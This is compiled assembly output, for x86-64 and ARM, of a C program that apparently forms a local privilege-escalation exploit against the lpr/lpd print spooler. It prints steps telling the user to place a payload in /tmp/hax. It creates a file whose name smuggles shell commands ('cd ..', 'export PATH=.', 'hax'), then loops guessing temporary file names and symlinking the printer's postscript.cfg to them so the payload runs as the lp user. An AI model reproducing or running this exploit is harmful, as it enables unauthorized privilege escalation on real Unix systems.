	.file	"extr_20990.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"Put the stuff to run as lp:lp in /tmp/hax\n"
	.align 8
.LC1:
	.string	"the lpr /usr/share/aspe<tab>/manual.dvi\n"
	.align 8
.LC2:
	.string	"when the ! comes up, wait a second, then press control-C.\n\n"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC3:
	.string	"Then print something.\n\n\n"
	.section	.rodata.str1.8
	.align 8
.LC4:
	.string	"/var/lib/texmf/cd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd tmp\nexport PATH=.\nhax\nexit 0"
	.section	.rodata.str1.1
.LC5:
	.string	"!\n"
	.section	.rodata.str1.8
	.align 8
.LC6:
	.string	"/var/spool/lpd/lp/postscript.cfg"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r14
	.cfi_def_cfa_offset 16
	.cfi_offset 14, -16
	lea	rdi, .LC0[rip]
	lea	r14, .LC5[rip]
	push	r13
	.cfi_def_cfa_offset 24
	.cfi_offset 13, -24
	push	r12
	.cfi_def_cfa_offset 32
	.cfi_offset 12, -32
	push	rbp
	.cfi_def_cfa_offset 40
	.cfi_offset 6, -40
	push	rbx
	.cfi_def_cfa_offset 48
	.cfi_offset 3, -48
	sub	rsp, 2016
	.cfi_def_cfa_offset 2064
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 2008[rsp], rax
	xor	eax, eax
	lea	rbp, 1008[rsp]
	mov	r13, rsp
	call	printf@PLT
	lea	rdi, .LC1[rip]
	call	printf@PLT
	lea	rdi, .LC2[rip]
	call	printf@PLT
	lea	rdi, .LC3[rip]
	call	printf@PLT
	mov	edx, 438
	mov	esi, 65
	lea	rdi, .LC4[rip]
	call	open@PLT
	mov	edi, eax
	call	close@PLT
	.p2align 4,,10
	.p2align 3
.L4:
	xor	eax, eax
	call	shake@PLT
	mov	r12d, eax
	lea	ebx, -30[rax]
	jmp	.L3
	.p2align 4,,10
	.p2align 3
.L2:
	add	ebx, 1
	cmp	ebx, r12d
	je	.L4
.L3:
	mov	rsi, rbp
	mov	rdi, r13
	mov	edx, ebx
	call	cow@PLT
	xor	esi, esi
	mov	rdi, rbp
	call	access@PLT
	test	eax, eax
	jne	.L2
	mov	rdi, r14
	call	printf@PLT
	mov	rdi, rbp
	call	unlink@PLT
	mov	rsi, rbp
	lea	rdi, .LC6[rip]
	call	symlink@PLT
	mov	edi, 1
	call	sleep@PLT
	jmp	.L2
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_20990.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"Put the stuff to run as lp:lp in /tmp/hax\012\000"
	.align	2
.LC1:
	.ascii	"the lpr /usr/share/aspe<tab>/manual.dvi\012\000"
	.align	2
.LC2:
	.ascii	"when the ! comes up, wait a second, then press cont"
	.ascii	"rol-C.\012\012\000"
	.align	2
.LC3:
	.ascii	"Then print something.\012\012\012\000"
	.align	2
.LC4:
	.ascii	"/var/lib/texmf/cd ..\012cd ..\012cd ..\012cd ..\012"
	.ascii	"cd ..\012cd ..\012cd tmp\012export PATH=.\012hax\012"
	.ascii	"exit 0\000"
	.align	2
.LC5:
	.ascii	"!\012\000"
	.align	2
.LC6:
	.ascii	"/var/spool/lpd/lp/postscript.cfg\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC7:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 2008
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, lr}
	ldr	r3, .L9
	sub	sp, sp, #2000
	sub	sp, sp, #12
	ldr	r0, .L9+4
	ldr	r3, [r3]
	str	r3, [sp, #2004]
	mov	r3,#0
	bl	printf
	ldr	r0, .L9+8
	bl	printf
	ldr	r0, .L9+12
	bl	printf
	ldr	r0, .L9+16
	bl	printf
	mov	r1, #65
	ldr	r2, .L9+20
	ldr	r0, .L9+24
	bl	open
	bl	close
	ldr	r7, .L9+28
	ldr	r6, .L9+32
.L4:
	bl	shake
	mov	r5, r0
	sub	r4, r0, #30
	b	.L3
.L2:
	cmp	r4, r5
	beq	.L4
.L3:
	mov	r2, r4
	add	r1, sp, #1004
	add	r0, sp, #4
	bl	cow
	mov	r1, #0
	add	r0, sp, #1004
	bl	access
	cmp	r0, #0
	add	r4, r4, #1
	bne	.L2
	mov	r0, r7
	bl	printf
	add	r0, sp, #1004
	bl	unlink
	mov	r0, r6
	add	r1, sp, #1004
	bl	symlink
	mov	r0, #1
	bl	sleep
	b	.L2
.L10:
	.align	2
.L9:
	.word	.LC7
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	438
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
